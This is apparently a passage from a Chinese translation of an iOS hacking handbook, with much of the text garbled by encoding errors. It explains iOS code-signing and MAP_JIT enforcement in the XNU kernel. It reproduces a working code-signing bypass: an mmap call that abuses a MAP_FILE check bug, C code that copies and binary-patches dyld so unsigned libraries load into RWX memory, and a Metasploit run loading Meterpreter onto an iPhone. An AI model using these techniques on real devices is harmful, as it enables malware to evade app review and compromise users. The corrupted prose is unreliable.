᜵˿ᝌࠃᬄᄉុၸৰхὋੇ͂ࡂ᜵ڙmmap˖᝹ᎵறཁὋ໗ᡛγએಕং௦ԺឳǋԺз˄Ժ௦

੯ᛠᄉ὇RWXὈᤇʶ్͇ὋΒݟϛ᝹γએಕং὇ߚஉڙr2˖Ὀ௦0x7ǌ�

(gdb) attach MobileSafari 

Attaching to process 17078. 

... 

(gdb) break mmap 

Breakpoint 1 at 0x341565a6 

(gdb) condition 1 $r2==0x7 

(gdb) c 

Continuing. 

Reading symbols for shared libraries . done 

Reading symbols for shared libraries . done 

Reading symbols for shared libraries . done 

[Switching to process 17078 thread 0x2703] 

 

Breakpoint 1, 0x341565a6 in mmap () 

(gdb) i r 

r0            0x0 0 

���Ԛѫմ�INGS॑ࢲ֣��Ћцߓ୍࣍س�



4.6� ଉጉҮখ̼ᆉኣՏ� � 75 

 

1 

2 

3 

4 

5 

11 

6 

7 

8 

9 

10 

r1            0x1000000     16777216 

r2            0x7   7 

r3            0x1802    6146 

... 

ಕং˝0x1802ǋܷڰ൤ὋMobileSafariុၸmmapὋឯයʶځ 0x1000000὇16 MBὈᄉRWX˝࠴

Ӝ۪ǌᄹᄹiOS SDK˖ᄉmman.h஠͇;͗ࡂԦဗὋឞϘᛪᇧ᝹Ꮅ˿MAP_PRIVATEǋMAP_JITǋ

MAP_ANONᤇ̎ͮὋځ˝JavaScriptCoreᄉຸ̼ᆉᛪ௙˿ᤇʶཁǌᏪr0˝ᭅ˶ឬ௙VM_POOL_ASLR

ᐯ߿ᤆల߿˦Ὃځ൤ឞԀௐᎃដᎀуӜᄉͮᎵ߸КΙᠺ̅iOS۶ᄉASLRǌ੝͛ᤫᄉಕং˖ణథ਒

ধᄉ௦MAP_JITὋ߱௦૊ݟʽழय߿˦ᄉὙ�

#define MAP_FILE        0x0000 

#define MAP_JIT         0x0800 

 /* ൶ᇘڦದᆩᇀJITݴ */

ᤇʶྱ൳ಕူܪʹݟв౎ᄹᄹЮನ௦͂ੇڙᤈᛠᄉ˿Ὃဗʹݟፂᄹҁᤇሗѫᦠ௦ࣂࠑܷ

ংᄉǌ �

4.6.2�  Ḍབԩ໘⧚ेᯊ㓪䆥ݙ

XNU˖ᄉmmapݟʽ੝ᇧὋ߱ͮ̅bsd/kern/kern_mman.c஠͇˖ὋӉդʶᛠ̼ᆉὋ˶ࡂ௦

PRIVATE | ANON௡࠰ὋᆷγԵథMobileSafariᤈᛠᄉԀௐᎃដѫᦠ੥ᜁᝢԺὙ 

int 

mmap(proc_t p, struct mmap_args *uap, user_addr_t *retval) 

... 

        if ((flags & MAP_JIT) && ((flags & MAP_FIXED) || (flags & 

MAP_SHARED) || (flags & MAP_FILE))){ 

                return EINVAL; 

        } 

థௐϊὋੇ͂˧Րᤆ೜ಉ௦ՠథ᤟ॆᄉྱాὙ�

... 

if (flags & MAP_ANON) { 

       maxprot = VM_PROT_ALL; 

#if CONFIG_MACF 

              error = mac_proc_check_map_anon(p, user_addr, 

                                user_size, prot, flags, &maxprot); 

              if (error) { 

                     return EINVAL; 

             } 

... 

ᤇʶ೜ಉᄉԥᎃដ̼ᆉ9-4ڎݟ੝ᇧǌ�

ፘ፝ᄹmmapѥஜὋ;͗ᄹҁࠪMAP_JITಕংᄉူܪὙ 

... 

if (flags & MAP_JIT){ 

       alloc_flags |= VM_FLAGS_MAP_JIT; 

} 

... 
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result = vm_map_enter_mem_object_control(..., alloc_flags, ...); 

 

�9-4ڎ amfi_proc_check_map_anonᄉԥᎃដ̼ᆉ 

ឞѥஜ௦ڙosfmk/vm/vm_map.c஠͇˖߿˦ᄉὙ�

... 

kern_return_t 

vm_map_enter_mem_object_control(...int flags, ... 

                                vm_prot_t cur_protection,...) 

... 

       result = vm_map_enter(..., flags, ...cur_protection,...); 

... 

ణՐὋڙvm_map_enter˖;Ԡ͗ᄹҁʼʶᓫ˖ᄉ೜ಉὙ�

kern_return_t 

vm_map_enter(...int flags, ... vm_prot_t cur_protection,...) 

... 

#if CONFIG_EMBEDDED 

if (cur_protection & VM_PROT_WRITE){ 

       if ((cur_protection & VM_PROT_EXECUTE) && 

          !(flags & VM_FLAGS_MAP_JIT)){ 

              printf("EMBEDDED: %s curprot cannot be 

                     write+execute. turning off execute\n", 

                   __PRETTY_FUNCTION__); 

              cur_protection &= ~VM_PROT_EXECUTE; 

       } 

} 

#endif /* CONFIG_EMBEDDED */ 

ᤇʶ೜ಉឬ௙Ὃᬓ᭣Юߚ᝹Ꮅ˿ԀௐᎃដಕংὋՠѶЮߚʿԺᑞ௦Ժз˄Ժ੯ᛠᄉǌځ൤Ὃ

;Եథڙҁ᣹ᤇൿ᝹Ꮅ˿Ԁௐᎃដಕংᄉ̼ᆉௐὋ੥Ժ̾ХథԺ੯ᛠԺзᄉӜ۪ǌ�

˧ґፋѢᄉ̼ᆉឬ௙᤯᣾΍ၸྱ൳mmapಕংὋੇ͂Ժ̾ԵЉ᝴ࣛథҮখ̼ᆉኣՏྱాᄉᤈ

ርѫᦠԺз˄Ժ੯ᛠЮߚǌဗڙ౎ᄹᄹ᠆᠉᫸ൢܲ൒΍ၸឞಕংᄉ̼ᆉǌᤇಧੇ͂Ժ̾᫸ൢХథ

ឞྱాᄉᤈር὇ඊݟMobileSafariὈڙᜁஈѣ˧ՐЉ᝴ஈѣᏧុၸХథMAP_JITಕংᄉmmap˝̴

͂ᄉshellcodeѫᦠளᄉԺз˄Ժ੯ᛠӜ۪ǌ 
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ੇ͂ࠪӬʶӜ۪ᄉ೜ಉ˶௦ڙvm_map_enterѥஜ˖੯ᛠᄉὙ 

        if ((flags & VM_FLAGS_MAP_JIT) && (map->jit_entry_exists)){ 

               result = KERN_INVALID_ARGUMENT; 

               goto BailOut; 

        } 

... 

      if (flags & VM_FLAGS_MAP_JIT){ 

               if (!(map->jit_entry_exists)){ 

                      new_entry->used_for_jit = TRUE; 

                      map->jit_entry_exists = TRUE; 

               } 

      } 

˿᣾᝹Ꮅ࠰ፂ௡ࣂϱᄰःζোὋឬ௙௦ՠߚᛪ˖ᄉʶ˓ಕং࠰ᤈር௡ߚ൤Ὃᘾ઱Юځ

VM_FLAGS_MAP_JITಕংᄉӜ۪ǌݟ౦;ࣂፂ᝹Ꮅ˿ឞಕংὋࡂ௃กѫᦠԲʶ˓ᤇಧᄉӜ۪ǌឞ

ಕং௦௃ก὇ඊݟ᤯᣾᧗ளѫᦠឞӜ۪Ὀຌᬓᄉǌځ൤Ὃਆ᜵ڙMobileSafari˖੯ᛠshellcodeᄉஈ

ѣᏧʿԺᑞᒬᛠѫᦠளᄉЮߚӜ۪ὋᏪ௦ॸᮋ੼ѢࣂፂѫᦠᄉԀௐᎃដӜࣲ۪᧗ၸឞӜ۪ǌ�

4.6.3� MobileSafariݙ䚼ⱘᬏߏ 

ᎃзܬఽᄉROPథ஌ᣑᕲ௦ॡథᬱऎᄉὋᏪᎃзଋᅋ͗੯ᛠshellcodeᄉROPథ஌ᣑᕲࡂ᜵ኤ

Ӭ३ܲǌڙलЙҮখ̼ᆉኣՏ఺҃˧ґὋੇ͂ʿԺᑞซЙࣲ੯ᛠshellcodeὋځ൤ஞ˓థ஌ᣑᕲᦏ

ॸᮋ௦ၸROP߸੆ᄉǌဗڙὋݟ౦ஈѣᏧԺ̾੼ҁԀௐᎃដӜ۪Ὃ̴͂ࡂԺ̾࠱shellcodeзЙᎀ

уӜࣲ੯ᛠǌ 

߸੆ᤇʶѬᄉణኤӬழกԺᑞࡂ௦ڙROPథ஌ᣑᕲ˖̾҃ܬʽѥஜᄉᛠ˝ǌ 

⊼ᛣ ఴብ˖ᄉ̼ᆉԺ̯̾ఴ˹ᦠݒᎩቢwww.wiley.com/go/ioshackershandbookʼᖌ३ǌ 

unsigned int find_rwx(){ 

  task_t task = mach_task_self(); 

  mach_vm_address_t address = 1; 

 

  kern_return_t kret; 

  vm_region_basic_info_data_64_t info; 

  mach_vm_size_t size = 0; 

 

  mach_port_t object_name; 

  mach_msg_type_number_t count; 

 

        while((unsigned int) address != 0){ 

 

              count = VM_REGION_BASIC_INFO_COUNT_64; 

             kret = mach_vm_region (task, &address, &size, 

                                     VM_REGION_BASIC_INFO_64, 

                                     (vm_region_info_t) &info, 

                                     &count, &object_name); 

              if(info.protection == 7) 
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                     return address; 

 

              address += size; 

        } 

        return 0; 

} 

ឞѥஜ͗ࠬ᥅੝థࣂѫᦠᄉЮߚӜ۪Ὃಉ੼Хథ0x7γએ὇ԀRWXὋԺឳԺз˄Ժ੯ᛠὈᄉ

Ӝ۪ǌᤇ᧖ࡂ௦థ஌ᣑᕲ᜵зЙ఺٧ᆉࣲ᡹ᣀҁᄉڦڠǌ�

4.7� ⸈ണҷⷕㅒৡᴎࠊ 
ࠪ̅Ф̴ःၸúúᥦ̎ʿդҮখ̼ᆉኣՏྱాᄉःၸúú౎ឬὋ̂ৰࡂᬱҨܲ˿ǌ෤థ߸ஞ

ᄉROPథ஌ᣑᕲࠩࡂ൥ᬱᛠǌʿ᣾Ὃ͂ੇڙᎃзఴ˹ᄉௐϊὋ̠͂ࣂፂԺ̾˝ःၸѸतԺз˄Ժ

੯ᛠᄉЮߚӜ۪˿ǌᤇ௦ځ˝Юನࠪmmap˖ᄉMAP_JITಕংᄉ೜ಉ఺҃ڙߚ໣วǌ 

ᤇ௦˓᭣࣡ː᧗ᄉbugὋځ˝ᬓ˿ᝧஈѣᏧԺ̾ଡΘshellcodeథ஌ᣑᕲὋᤆЉ᝴ʽᣑᒬᔰ౦

App Storeᄉःၸᤁᛠలፂᔰ౦МՂࠅನᄉ͉਒̼ᆉǌѽၸᤇ˓រ᝟ᄉःၸԺ̾ҮখڠѸतԺз˄

Ժ੯ᛠᄉӜ۪Ὃʽᣑ͉ʹਆ᜵ʽᣑᄉ̼ᆉὋ࠱ᤇ̼̎ᆉзЙᎀуӜὋཨՐ੯ᛠ߱͂ǌᤇ߸Кፈ᣾

˿App Store˝᫸ᔴৎ਒ᣃ͇Ꮺ᧓Ԩᄉଌ҃ǌ 

ឞbug̾̅ڙߚࡂʽᤇൿఴብ˧ґࣂፂᝦ᝶᣾ᄉ̼ᆉ˖὇ᥦௐϊ;Ԧဗ᫇ᮤ˿՘὞Ὀǌ 

if ((flags & MAP_JIT) && ((flags & MAP_FIXED) || 

    (flags & MAP_SHARED) || (flags & MAP_FILE))){ 

       return EINVAL; 

} 

ᄉ߱˝ځ൤Ὃࠪflags & MAP_FILEᄉ೜ಉ௦௃਒˦ᄉὋځǌ˿0˝˦߿MAP_FILEᜁ̅ڙᮤ᫇

ፆ౦঳˝0Ὃ੝̾ࠃᬄʼ̣ࡂ˥˶෤థ೜ಉǌੇ͂౎ᄹᄹ᝼௙ᤇʶཁᄉԥ඼ᎃ᣾ር὇᜸10-4ڎὈǌ�

 
�10-4ڎ ःឞ௦Եథڙ᝹Ꮅ˿MAP_ANONಕংௐ੥੯ᛠJIT_FLAGᄉ̼ᆉ 

���Ԛѫմ�INGS॑ࢲ֣��Ћцߓ୍࣍س�



4.7� ᆠ̼ڭᆉኣՏ఺҃� � 79 

 

1 

2 

3 

4 

5 

11 

6 

7 

8 

9 

10 

߱͗ࠪJIT_FLAGᤈᛠ೜ಉὋཨՐ೜ಉMAP_FIXED & MAP_SHAREDǌ 

ᤇ਒։ᅋὋݟ౦MAP_JITǋMAP_PRIVATE֖MAP_FILEಕংᦏࣂ᝹ᎵὋᤇʶ೜ಉࡂ෤ก᫽ൢ

ࠪmmapᄉុၸǌଋᅋὋѢ̅౼ሗԓځὋᰍ᝼ឞःၸᄉ೜ಉࡂХథ˿Ջ᤟ᄉྱాὋࣲ˄Ե˝ӟՏ

὇˶ࡂ௦ᥦ̎᝹Ꮅ˿MAP_ANONಕংὈᄉ௡࠰੯ᛠ೜ಉǌ 

 ʽុၸὙݟ൤͉ʹ὇˧ґలѸतRWXӜ۪ᄉὈiOSᤈርᦏԺ̾੯ᛠځ

char *x = (char *) mmap(0, any_size, PROT_READ | PROT_WRITE | 

PROT_EXEC, MAP_JIT | MAP_PRIVATE | MAP_FILE, some_valid_fd, 0); 

ᤇಧ͗ࡂፋᤈርᤄٿʶ˓͉਒ܷ࠴ᄉԺឳǋԺзᏪ˄Ժ੯ᛠᄉӜ۪ǌ�

4.7.1� ׂᬍiOS shellcode 

ᒯ൤ὋःၸஈѣᏧࡂᅻ᥊᜵˥Ժ̾᧗ၸࣂፂڙߚᄉԀௐᎃដӜ۪὇ݟ౦ஈѣᄉ௦

MobileSafariὈὋ᜵˥Ժ̾ၸROPѸतʶ˓ᤇಧᄉӜ۪὇ݟ౦ஈѣᄉ௦MobileSafari̾ܰᄉःၸὋ੊

Ꮷ௦ѽၸ˿ᤇʶᎤᬝᄉAppStoreৎ਒ᣃ͇ὈǌཨՐὋឞஈѣᏧࡂԺࣲ̾҃ܬ੯ᛠshellcode˿ǌॆ ཨὋ

ᤇ̎shellcodeᄉͺᏧਆᝧ࣯̣߱͂˥ᦏԺ̾ǌʿ᣾Ὃݟ౦ឬᎃзROPథ஌ᣑᕲॡᬱᄉពὋᥦ˥ᎃ

зܷᄉshellcodeథ஌ᣑᕲᙉཨኤӬὋͭॡཐ̠ǌݟ౦;Ժ̾੯ᛠCឥᝒὋၴ੊௦Objective Cᤇሗ

ఝᰳጞឥᝒᄉ̼ᆉὋᥦࡂఝݝ˿ǌ̂ࠃ᝼௙ὋԵ᜵;థ఺͗зЙshellcodeὋ۲ࡂఴʼኪ௦੩ᆠ˿

᝹ܫʼᄉ̼ᆉኣՏ఺҃Ὃځ˝ѽၸshellcodeҪᣑలኣՏᄉं஠ࣲ͇ʿ௦ॡᬱǌ 

˶ᎃз̼ᆉᩖଋ٧Ὃࣁ௄Ժ̾ᒬࠑܷ Ժ̾ណᅋ᧗ၸ֖໚ၸࣂፂڙߚᄉ̼ᆉᩖଋ٧ǌᤇ᧖ੇ͂

ᄉҮখᩖଋ٧dyld͗˝౼˓ंѫᦠቆᫍὋཨՐҪᣑǋᩖڙߚፂࣂǌߔՐʶሗழก౎ᄹʶ˓Βࡂ

ଋࣲᤁᛠឞंǌੇ ͂ᭉ᜵˝ឞҮখᩖଋ٧੩ʼᛩʷὋ̯ Ꮺڙளѫᦠᄉలःၸ̼ᆉኣՏกѶᄉRWX

Ӝ۪Ҫᣑள̼ᆉǌᄯଋፋdyld੩ᛩʷ௦ʿᛠᄉὋځ˝ᤇಧ͗ᝧឞᮅᄉҮখ̼ᆉኣՏܾ஌ὋԺᛠ

ᄉϡก௦ڙளतᄉRWXӜ۪˖ѸतdyldᄉҝఴὋࣲڙᥦ᧖˝ឞҝఴ੩ᛩʷǌ 

ቆᫍѫ࣊ᬣ఺Ӑ὇ASLRὈ఺҃Ὃ੝̾ڦڠథ˝ځᯪЎ᜵ϡᄉ௦੼ҁҪᣑdyldᄉͮᎵὋࠑܷ

ᤇ˓ͮᎵԺᑞӡࢿʹѾǌ߸੆ᤇʶ͉ҫథˏሗԺᛠᄉழयǌኃʶሗ௦੼ҁ˞Ժ੯ᛠ஠͇ᄉͮᎵǌ

᧜̅ASLRᄉࢹͺழयὋ˞Ժ੯ᛠርࣿॆґͮᎵˀ߱᤯࣡੝ͮڙᎵ὇0x1000Ὀ˧ᫍᄉࢿᡯὋ֖͉

ʹቿՁԢФᒬᢵᮔయͮᎵ˧ᫍᄉϟሧ᧙ᦏᄰՎǌځ൤ὋڙᤇሗৰхʽὋdyldˀФᮔయͮᎵ

὇0x2fe00000Ὀ˧ᫍᄉϟሧ᧙ࡂኍ̅˞Ժ੯ᛠርࣿˀ0x1000˧ᫍᄉϟሧ᧙ǌ੝̾ݟ౦ੇ͂ᅻ᥊

˞̃ᤈ҃஠͇˖͉ʹቿՁᄉڦڠὋࡂԺ̾᝟ኪѢdyldᄉͮᎵǌ 

ԲʶሗழกὋ˶௦ੇ͂ᤇ᧖᜵̭ፀᄉὋ௦ѽၸlibdyld.dylib˖ᄉ౼̎ζোǌ߱դథʶ˓

Տ˝myDyldSectionᄉ὇௃ѢԯὈቿՁὋ௦ၸ౎ڙdyld˖ុࣲͮ߿ၸѥஜᄉǌ᭣࣡ࢻՋᄉ௦Ὃ

myDyldSectionڦڠᄉኃʶ˓dwordࡂ௦dyldᄉͮᎵǌ 

(gdb) x/x &myDyldSection 

0x3e781000 <myDyldSection>:         0x2fe2a000 

ʶ͉ڙឞቿՁ௦௃ѢԯᄉὋ੝̾ੇ͂ᭉ᜵˝ځ ὇ंᤇ௦ځ˝߱͂ᄉASLRϟሧ᧙ᦏ௦ᄰՎᄉὈ

˖੼ʶ˓థѢԯᄉቿՁὋࣲ᝟ኪmyDyldSectionˀឞቿՁ˧ᫍᄉϟሧ᧙ǌͭʿࢻᄉ௦Ὃᤇಧϡ

͗ᝧథ஌ᣑᕲΙᠺྟ͇ڌఴǌᤆథʶཁ;᜵᝭ͰὋᙉཨథ᳣̎ཐὋͭ௦̼ᆉ௦ၸCឥᝒ὇ڙѽၸ
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ःၸҪᣑளᄉలኣՏ̼ᆉௐὈ੊shellcode὇ڙᤈᛠ໣วஈѣௐὈᎃзᄉǌʿክגሗৰхὋз̼ᆉ

ᦏ௦ᄰࠪኤӬᄉǌCឥᝒ̼ᆉݟʽ੝ᇧὙ�

unsigned int *fgNextPIEDylibAddress_ptr; 

unsigned int *ptr_to_fgNextPIEDylibAddress_ptr; 

unsigned int next_mmap; 

 

// 

// ᆘՊஓڦኵ 

// 

unsigned int dyld_size = 227520; 

unsigned int dyld_data_start = 0x26000; 

unsigned int dyld_data_end   = 0x26e48; 

unsigned int libdyld_data_size = 0x12b; 

unsigned int diff_to_myDyldSection = 0xbbc5008; 

 

// ቴڟdyld 

unsigned int myexit = (unsigned int) &exit; 

my_myDyldSection = myexit + diff_from_exit_to_myDyldSection; 

unsigned int dyld_loc = * (unsigned int *) myDyldSection; 

dyld_loc -= 0x1000; 

ଋᅋὋੇ͂ࡂԺ̾ѫᦠRWXӜ۪὇੊௦੼ҁࣂፂڙߚᄉRWXӜ۪Ὀǌfoo௦᜵௡࠰ᄉܷ஠͇

ᄉՏሥὙ�

int fd = open("foo", O_RDWR); 

char *x = (char *) mmap(0, 0x1000000, PROT_READ | PROT_WRITE | 

                        PROT_EXEC /*0*/, MAP_JIT | MAP_PRIVATE | 

                        MAP_FILE, fd, 0); 

next_mmap௦ឞRWXᎀуӜ˖dyld὇ଋʽ౎᜵҃ܬᄉᥦᦉѫ̼ᆉὈ˧Րᄉᥦ˓ͮᎵǌ

next_mmapࡂ௦˝dyld੩ᛩʷ̾ΦҪᣑʽʶ˓ंᄉڠழǌ�

memcpy(x, (unsigned char *) dyld_loc, dyld_size); 

next_mmap = (unsigned int) x + dyld_size; 

ဗࡂ;ڙథԺΘνஇᄉdyldԺ੯ᛠҝఴ˿ǌᬓ˿੩ʼ᜵੩ᄉᛩʷὋ;ᤆᭉ᜵ᤈᛠʶ̎Ф̴

νܬǌdyldᄉஜ૵ᦉѫ˖դథॡܲૈՓᒬࣁᄉѥஜૈ᧪ǌᤇࡂ਒։ᅋݟ౦;ڙᤇ˓dyldᄉҝఴ

˖ុၸ౼˓ѥஜὋፆ౦Ժᑞ௦ុၸߚϱڙᥦ᧖ᄉʶ˓ѥஜૈ᧪Ὃࣲ ణጻڙԓݼ὇ల੩ᛩʷὈᄉdyld

˖੯ᛠ̼ᆉǌ˝˿᫸ൢѢဗᤇሗৰхὋ;᜵Ι൒νஇឞdyldҝఴᄉஜ૵ᦉѫ˖ૈՓ߱ᒬᢵᄉѥ

ஜૈ᧪Ὑ�

// ॽdataኸኍኸၠႎ࿋ዃ 

unsigned int *data_ptr = (unsigned int *) (x + dyld_data_start); 

while(data_ptr < (unsigned int *) (x + dyld_data_end)){ 

       if ( (*data_ptr >= dyld_loc) && (*data_ptr < dyld_loc +dyld_size)){ 

              unsigned int newer = (unsigned int) x + (*data_ptr - dyld_loc); 

              *data_ptr = newer; 

        } 

        data_ptr++; 

} 
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libdyld˶դథॡܲૈՓdyldᄉѥஜૈ᧪ǌФ̴̼ᆉԺᑞុၸlibdyld̾ុၸdyld˖ᄉѥ

ஜǌݟ౦;ុၸᄉ௦ԓݼᄉdyldὋځ͗ࡂ˝ҝఴdyldࣲలఝளԓݼஜ૵ፆౝᤴ੆ʶᒰব᫇ᮤǌ

�൤Ὃᤇ᧖᜵Ι൒νஇlibdyldஜ૵ᦉѫ˖੝థૈՓdyldҝఴᄉѥஜૈ᧪ǌځ

unsigned int libdyld_data_start = myDyldSection; 

// ॽlibdyld dataኸኍྺ߀ኸၠႎ࿋ዃ 

data_ptr = (unsigned int *) libdyld_data_start; 

while(data_ptr < (unsigned int *) (libdyld_data_start +libdyld_data_size)){ 

      if ( (*data_ptr >= dyld_loc) && (*data_ptr < dyld_loc + dyld_size)){ 

             unsigned int newer = (unsigned int) x + (*data_ptr - dyld_loc); 

             *data_ptr = newer; 

      } 

      data_ptr++; 

} 

ፂ᣾ᤇ̎νൣὋளᄉdyldҝఴःឞᑞᡐͺၸ˿ǌဗڙὋੇ͂Եᭉ᜵˝߱੩ʼᛩʷὋ̾Φᑞ

ՓѸतᄉRWXӜ۪˖ҪᣑंὋᏪ˄ࡂኪᤇ̎ं௦లኣՏᄉὋ߱͂˶ःឞ௦Ժ̾੯ᛠᄉǌᤇ᜵ය4

˖ᛩʷǌኃʶ˓ᛩʷ๗ԢfgNextPIEDylibAddress_ptrǌឞૈ᧪ૈՓdyld˖ᄉͮᎵὋФ࠴˓

�Ф᝹ᎵፋԪ᧙next_mmapὙ࠱ϱᅋʽʶ˓ंᄉҪᣑͮᎵǌᤇ᧖ੇ͂࣎భߚ

// 

// ցۡ1: ยዃptr_to_fgNextPIEDylibAddressࢅfgNextPIEDylibAddress_ptr 

// 

ptr_to_fgNextPIEDylibAddress_ptr = (unsigned int *) (x + 0x2604c); 

fgNextPIEDylibAddress_ptr = (unsigned int *) (x + 0x26320); 

 

*ptr_to_fgNextPIEDylibAddress_ptr = (unsigned int) fgNextPIEDylibAddress_ptr; 

 

*fgNextPIEDylibAddress_ptr = next_mmap; 

ଋʽ౎ᄉᛩʷ੩ݟڙʽ੝ᇧ౎ᒬdyldᄉѥஜʼὙ�

uintptr_t ImageLoaderMachO::reserveAnAddressRange(size_t length, 

 const ImageLoader::LinkContext& context) 

{ 

       vm_address_t addr = 0; 

       vm_size_t size = length; 

       // ሞऺ໙ᇶዜ୲ڦPIEײႾዐǈሞዷ੗ኴႜ࿔ॲࢫሜ෇؛๔ۯༀੰǈ 

       // ኄᄣ໲்ᄺ৽ுᆶࠦۨںڦ኷କ 

       if ( fgNextPIEDylibAddress != 0 ) { 

       // ሞۯༀੰኮक़ཁेၭ႙Ǆ03ڟᄻǅໜऐག؊ 

            addr = fgNextPIEDylibAddress + 

                   (__stack_chk_guard/fgNextPIEDylibAddress & 

                   (sizeof(long)-1))*4096; 

 

            kern_return_t r = vm_allocate(mach_task_self(), &addr, size,  

                                          VM_FLAGS_FIXED); 

            if ( r == KERN_SUCCESS ) { 

                    fgNextPIEDylibAddress = addr + size; 

                    return addr; 

            } 

            fgNextPIEDylibAddress = 0; 
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        } 

        kern_return_t r = vm_allocate(mach_task_self(), &addr, size,  

                                          VM_FLAGS_ANYWHERE); 

 

        if ( r != KERN_SUCCESS ) 

               throw "out of address space"; 

 

        return addr; 

} 

ኤӬڠᝮὋឞѥஜ͗ណᅋڙឯයᄉͮᎵѫᦠʶ̎ቆᫍὋᏪݟ౦ᤇಧϡᛠʿ᤯ᄉពὋ߱ڙ͗ࡂ

ᬣ఺ͮᎵѫᦠʶ̎ቆᫍǌݟ౦;௦ၸᤇ˓ѥஜઁளᄉंஉЙࣂፂڙߚᄉRWXӜ۪˖Ὃᥦ˥߱ѫ

ᦠቆᫍᄉ࠼ណ᠋ܾ͗ࡂὋځ˝ឞӜ۪ࣂፂᜁѫᦠፋѾᄉЮࠓ˿ǌੇ͂Ժ̾ᄯଋ࠱ឞ೜ಉνஇ૿Ὃ

ࣲᝧѥஜᤄٿὋݝࡂϷ߱ᄽᄉڙឞRWXӜ۪˖ѫᦠ˿ʶ̎ቆᫍǌ̾ʽᛩʷ͗ࡂሧᬓឞඊᣖὋᤇ

ಧឞѥஜ͗঒႔ኃʶ˓vm_allocateѥஜᄉᤄٿϘࣲᄯଋᤄٿaddrὙ�

// 

// ցۡ2ǖࢮ୼reserveAnAddressRangeዐڦvmalloc 

// 

unsigned int patch2 = (unsigned int) x + 0xc9de; 

memcpy((unsigned int *) patch2, "\xc0\x46", 2);  // thumb nop 

ʽʶ˓ᛩʷ௦ణܬఽᄉǌڙᤇ˓ᛩʷ᧖Ὃੇ͂᜵ઁmapSegments˖ࠪmmapᄉុၸఢ૰੆ࠪ

readᄉុၸǌੇࣲ͂ʿ௦᜵ڙ஠͇˖ᤈᛠᄽൣᄉ௡࠰ὋᏪԵ௦ਆ࠱ឞ஠͇ឳЙRWXӜ۪ǌڙ੩

ᛩʷ˧ґὋ߱௦ᤇಧᄉὙ�

void ImageLoaderMachO::mapSegments(int fd, uint64_t offsetInFat, 

uint64_t lenInFat, uint64_t fileLen, const LinkContext& context) 

{ 

... 

       void* loadAddress = mmap((void*)requestedLoadAddress, size, 

             protection, MAP_FIXED | MAP_PRIVATE, fd, fileOffset); 

... 

੩ʼᛩʷ˧ՐὋ߱ࡂ੆ʽ᭦ᤇಧ˿Ὑ�

       read(fd, requestedLoadAddress, size); 

�ʽ੝ᇧὙݟᬄᄉᛩʷࠃ

// 

// ցۡ3: ሞmapSegmentsዐڦmmap 

// 

unsigned int patch3 = (unsigned int) x + 0xdd4c; 

memcpy((unsigned int *) patch3, 

"\x05\x98\x08\x99\x32\x46\x32\x46\x32\x46\x32\x46\x32\x46\x8c\x23 

\x1b\x02\x45\x33\x1b\x44\x7b\x44\x98\x47", 26); 

᤯࣡ৰхʽὋុڙၸdlopen˧ՐὋfgNextPIEDylibAddress͗ᜁ᧗Ꮅ˝0ǌܷࠑʿ࣎భᤇ

ሗৰхԦၶǌణՐᄉᛩʷࡂ௦ᝧImageLoader::link˖᠆᠉᧗Ꮅᄉ̼ᆉʿвᤈᛠ͉ʹୱͺǌ�

 ੩ᛩʷ˧ґὋѥஜణՐ௦ᤇಧᄉὙ;ڙ
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 ༀੰሜ෇ۯ๔؛ׯྜ //        

        fgNextPIEDylibAddress = 0; 

} 

ੇ͂Եᭉ᜵ѽၸ̾ʽᛩʷᝧణՐʶᛠʿᤈᛠ͉ʹୱͺࡂᛠ˿Ὑ 

// 

// ցۡ4: ሞdlopenࢫփᄲዘዃfgNextPIEDylibAddress 

// 

unsigned int patch4 = (unsigned int) x + 0xbc34; 

memcpy((unsigned int *) patch4, "\xc0\x46", 2); 

ဗࡂڙኪ௦˝ឞdyldҝఴ੩ݝᛩʷ˿Ὃ߱͗ઁंᜈᣑҁੇ͂੝઴థᄉRWXӜ۪˖ǌ൤ܰὋ

ᄉdyldҝఴὋ੝̾ុၸᄽൣᄉdlopen੊ࣁlibdyld.dylib˖ᄉૈ᧪இ˝ૈՓᒬઁ͂ੇ˝ځ

dlsym὇դڙlibdyld˖Ὀᄉ̼ᆉࠃᬄʼణጻ͗ុၸ੩᣾ᛩʷᄉdyldҝఴὋᏪឞҝఴ௦͗ઁंҪ

ᣑҁ੝઴థᄉRWXӜ۪˖ᄉǌ૰ԱពឬὋڙःၸ˿ᤇ̎ᛩʷ˧ՐὋiOSःၸࠪdlopen֖dlsym

ᄉុၸ͗ࡂҪᣑࣲ੯ᛠలኣՏᄉंὀ�

4.7.2� ೼iOSϞՓ⫼Meterpreter 

ဗڙὋੇ ௛ᎃзᰳጞឥᝒंᝧःၸҪᣑ੊௦ᝧ໣วஈѣѽၸ˿ǌᤇ̎ंԺᑞᤆӉࠓፂॡࣂ͂

դФ̴ណڎଡӣྱాᄉ໣วஈѣǋتଉᎩፎึ᧙ᄉథ஌ᣑᕲὋ̾ Ԣʼ͛ڦڠዖЮࠓᄉ̼ᆉὋኍኍǌ

˶᝴ణጻᄉథ஌ᣑᕲ௦౎ᒬMetasploitಳ౵ᄉMeterpreterǌ᧪ࠪARM౵ౝ᧗ளᎃដMeterpreterὋࣲ

ѽၸᤇሗழกҪᣑࣲ߱ʿ௦ॡᬱǌᤇಧϡᄉፆ౦ࡂ௦ڙ෤థshellᄉ᝹ܫʼᖌ३ዜͪshellᄉ̓̈ͳ

ᰍὀʽ᭦୑े˿ʶൿࢹڙԇ࿃খ὇లᦠᎵὋలᡔ࿜ὈᄉiPhoneʼᤁᛠMeterpreterᄉ࿃খ᝭ेǌ

὇MeterpreterंԺ̯̾ఴ˹ᦠݒᎩቢwww.wiley.com/go/ioshackershandbookʽᣑǌὈ 

$ ./msfcli exploit/osx/test/exploit RHOST=192.168.1.2 RPORT=5555 

 LPORT=5555 PAYLOAD=osx/armle/meterpreter/bind_tcp DYLIB=metsrv-combo- 

phone.dylib AutoLoadStdapi=False E 

[*] Started bind handler 

[*] Transmitting stage length value...(3884 bytes) 

[*] Sending stage (3884 bytes) 

[*] Sleeping before handling stage... 

[*] Uploading Mach-O dylib (97036 bytes)... 

[*] Upload completed. 

[*] Meterpreter session 1 opened (192.168.25.129:51579 -> 

192.168.1.2:5555) 

 

meterpreter > use stdapi 

Loading extension stdapi...success. 

meterpreter > ls 

 

Listing: / 

========== 

 

Mode                Size    Type    Last modified           Name 

----                ----    ----    -------------           ---- 

41775/rwxrwxr-x     714     dir     Tue Aug 30 05:41 2011   . 
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41775/rwxrwxr-x     714     dir     Tue Aug 30 05:41 2011   .. 

41333/-wx-wx-wx     68      dir     Tue Aug 30 05:41 2011   .Trashes 

100000/---------    0       fil     Thu Aug 25 20:31 2011   .file 

